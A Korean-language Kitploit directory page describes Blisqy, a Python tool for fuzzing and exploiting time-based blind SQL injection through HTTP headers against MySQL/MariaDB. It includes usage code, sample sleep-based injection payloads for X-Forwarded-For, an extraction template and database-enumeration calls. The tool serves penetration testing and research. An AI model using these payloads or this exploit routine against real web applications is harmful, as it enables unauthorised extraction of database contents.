Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Blisqy — 버전 0.2 - HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션 익스플로잇 (MySQL/MariaDB). | Kitploit
도구/GitHubGitHub/johntroony/blisqy
Vulnerability ScannersExploitationWeb SecurityFuzzingDatabase Security
GitHubjohntroony/blisqy

Blisqy

버전 0.2 - HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션 익스플로잇 (MySQL/MariaDB).

저장소 보기
4161117년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

1. Blisqy

Blisqy는 웹 보안 연구자들이 HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션을 찾고 동일한 취약점을 익스플로잇하는 데 도움을 주는 도구입니다.

이 익스플로잇은 블라인드 SQL 인젝션을 통해 인쇄 가능한 ASCII 문자에 대한 비트 연산을 사용하여 데이터베이스(현재 MySQL/MariaDB만 지원)에서 느린 데이터 사이펀을 가능하게 합니다.

다른 Python 도구와의 상호 운용성 및 다른 사용자가 Blisqy에서 제공하는 기능을 활용할 수 있도록 여기의 모듈은 다른 Python 기반 스크립트로 가져올 수 있습니다.

시간 기반 블라인드 SQL 인젝션을 테스트할 때 네트워크 지연이나 혼잡은 퍼징 또는 익스플로잇의 효과에 영향을 줄 수 있습니다. 이러한 지연을 보상하기 위해 Blisqy의 시간 비교는 동적이며 각 테스트에 대해 런타임에 계산됩니다. 테스트는 greenlet(경량 협력 스케줄링 실행 단위)을 사용하여 libevevent 루프 위에 고급 동기 API를 제공합니다. 짧은 시간에 페이로드 테스트를 빠르고 효율적으로 수행할 수 있으며, 특정 테스트가 순차적 방법으로 완전히 수행되지 않기 때문에 다른 테스트에 영향을 주지 않습니다.

1.1. 새로운 기능

Blisqy는 이제 HTTP 헤더에서 시간 기반 블라인드 SQL 인젝션을 위한 퍼징을 지원하며, 주요 기능(퍼징 및 익스플로잇)은 이식성을 위해 독립적인 파일로 분리되었습니다.

1.2. Blisqy로 퍼징하기

퍼징 기능을 사용하려면 Python 스크립트에서 다음 모듈을 가져오고 아래와 같이 대상과 퍼징 데이터를 제공하십시오:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

대상 매개변수는 Dictionary/JSON 형식이어야 합니다. 예: (변수 데이터 유형에 유의하세요):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

대상 매개변수가 제공되면 다음과 같이 퍼저를 호출합니다:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

제공된 이 예제는 FindBlindSpot.py에서 확인할 수 있습니다.

1.2.1. 샘플 퍼징 출력

성공하면 수행된 '주입 가능' 테스트에 대한 보고서를 받게 됩니다. Blisqy가 테스트 중 네트워크 지연 및 혼잡을 보상하려고 노력하지만, 진행하기 전에 보고된 양성 테스트를 사전 테스트(proof-test)하는 것이 중요합니다.

다음은 샘플 보고서입니다:

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

Blisqy 퍼저 작동 스크린샷:

Fuzz for Blind SQLi

1.3. Blisqy로 익스플로잇하기

잠재적인 시간 기반 블라인드 SQL 인젝션을 발견한 후 취약한 웹 애플리케이션을 익스플로잇하는 스크립트를 준비할 수 있습니다.

퍼저와 마찬가지로 Python 스크립트에서 익스플로잇 모듈을 가져오고 익스플로잇 작업에 대한 템플릿을 정의할 수 있습니다. 다음은 Python 스크립트에서 모듈을 가져오는 예입니다:

root@kitploit:~
from lib.blindexploit import SqlEngine

다음으로 익스플로잇을 위해 대상의 세부 정보와 대상 매개변수를 제공해야 합니다. 다음은 퍼저가 발견한 블라인드 SQL 인젝션을 익스플로잇하는 샘플 구현입니다:

대상 데이터는 서버, 포트, 발견된 취약 헤더 및 해당 값(일부 애플리케이션은 특정 값이 필요하거나 확인함)을 지정하는 Dictionary/JSON 형식이어야 합니다. 또한 변수 데이터 유형에 유의하세요.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

그 다음 대상 매개변수를 통해 사용자가 익스플로잇 환경 설정과 관련된 일부 옵션을 지정할 수 있습니다.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime은 페이로드에 사용될 지연 시간입니다.
  • payload는 사용자 지정 SQL 쿼리(예: select @@hostname)로 익스플로잇을 실행하는 옵션입니다. 기본값은 'pass'입니다.
  • mysqlDig는 익스플로잇을 자동으로 수행하고 스키마의 모든 사용 가능한 테이블을 열거하도록 합니다.
  • interactive는 사용자가 익스플로잇 루틴과 상호 작용할 수 있도록 하는 옵션입니다. DB의 흥미로운 부분으로 건너뛰고 싶을 때 유용할 수 있습니다.
  • verbosity는 높음(high), 중간(medium), 낮음(low)으로 설정할 수 있습니다. 이는 익스플로잇 루틴의 출력 정보를 제어합니다.

대상과 해당 매개변수를 제공한 후 다음으로 제공할 것은 익스플로잇 루틴의 템플릿입니다. Blisqy는 사용자가 추출 SQL 페이로드를 주입할 위치와 sleeptime 지연을 지정할 수 있는 방법을 제공합니다. 다음은 이전 하위 섹션에서 제공된 샘플 보고서에서 발견된 취약점 중 하나에 대한 구현 예입니다.

X-Forwarded-For 헤더에서 발견된 인젝션:

root@kitploit:~
' or sleep(1)='

이 특정 인젝션에 대한 템플릿:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

런타임 중에 *sql*은 SQL 인젝션 페이로드로 대체되고 *time*은 sleep()에 대한 지연 시간으로 대체됩니다.

이 모든 작업이 완료되면 마지막 부분은 익스플로잇 루틴을 인스턴스화하고 MysqlDigger() 메서드가 작업을 수행하도록 하는 것입니다.

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

제공된 이 예제는 ExploitBlindSpot.py에서 확인할 수 있습니다.

아래는 익스플로잇 작업의 예입니다:

Exploit Blind SQLi

1.4. 할 일

  • HTTP 헤더 및 웹 요소에서 SQL 인젝션 취약점을 찾기 위한 지능형 퍼저 통합
  • HTTP 헤더 외에 웹 엔드포인트에서 블라인드 SQLi 퍼징 및 익스플로잇 지원.

1.4.1. 기여하기

Blisqy로 찾은 흥미로운 점이나 추가/제거되어야 한다고 생각하는 점을 알려주세요.

  • 아이디어와 위시리스트를 공유해 주세요.
  • 오타를 발견했나요? 알려주세요.
  • Blisqy를 최적화할 방법을 찾았나요?
  • 다른 DBMS 지원을 포함할 방법을 제안해 주세요.

1.4.2. 참고 자료

  • (PDF) HTTP 헤더를 통한 시간 기반 블라인드 SQL 인젝션: 퍼징 및 익스플로잇.. 다음에서 확인 가능: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - SQL 인젝션에서 셸 II까지 https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

도구 다운로드